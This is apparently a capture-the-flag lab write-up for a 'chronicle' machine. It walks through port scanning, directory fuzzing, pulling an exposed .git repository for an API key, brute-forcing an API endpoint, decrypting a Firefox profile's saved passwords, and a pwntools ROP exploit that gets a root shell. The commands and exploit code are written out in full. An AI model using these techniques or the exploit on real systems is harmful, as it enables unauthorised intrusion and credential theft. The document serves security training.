initial reconnaissance
an nmap scan reveals three open ports:
- ssh on port 22 (openssh 7.6p1)
- http on port 80 (apache 2.4.29)
- http on port 8081 (werkzeug/python 3.6.9)
web enumeration
on port 8081, a login page and /forget endpoint were discovered. the forgot-password functionality required an api key that was missing from the implementation. javascript source at /static/js/forget.js confirmed the api key was necessary.
finding the api key
directory enumeration on port 80 revealed an /old directory. further fuzzing uncovered a .git repository:
gobuster dir -u chronicle.thm -w /usr/share/wordlists/dirb/common.txt -t 20 -x php,html,bak,txt,db,zip
ffuf -u http://chronicle.thm/old/FUZZ -w raft-large-directories-lowercase.txt
wget --recursive http://chronicle.thm/old/.git --continue
git history analysis exposed the api key: 7454c262d0d5a3a0c0b678d6c0dbc7ef
username brute force
with the api key, the forgot-password endpoint was tested. since the correct username was unknown, ffuf was used to brute force it:
ffuf -w /opt/SecLists/Passwords/Common-Credentials/10k-most-common.txt -X POST \
-d '{"key":"7454c262d0d5a3a0c0b678d6c0dbc7ef"}' \
-u http://chronicle.thm:8081/api/FUZZ -fw 2
this yielded credentials for user tommy.
ssh access & further enumeration
ssh access was gained with tommy's credentials. linpeas revealed little, but a .mozilla directory in carlj's home contained a firefox profile.
firefox credential extraction
the firefox default release profile was extracted and decrypted using firefox_decrypt.py:
wget --recursive chronicle.thm:8000/0ryxwn4c.default-release --continue
python3 firefox_decrypt.py 0ryxwn4c.default-release
the password prompt was satisfied with "password1", revealing credentials for user carlj.
buffer overflow exploitation
as carlj, a binary named smail was discovered in the mailing directory. testing with input exceeding 80 characters triggered a segmentation fault, indicating a buffer overflow vulnerability. exploit development required:
- libc base address:
0x00007ffff79e2000 /bin/shoffset:1b3e1asystem()offset:0x4f550- rop gadget for rdi control:
0x4007f3 - return address:
0x400556
final exploit
from pwn import *
p = process('./smail')
base = 0x7ffff79e2000
sys = base + 0x4f550
binsh = base + 0x1b3e1a
rop_rdi = 0x4007f3
payload = b'A' * 72
payload += p64(0x400556)
payload += p64(rop_rdi)
payload += p64(binsh)
payload += p64(sys)
payload += p64(0x0)
p.clean()
p.sendline("2")
p.sendline(payload)
p.interactive()
this rop chain executed /bin/sh with elevated privileges, achieving root access.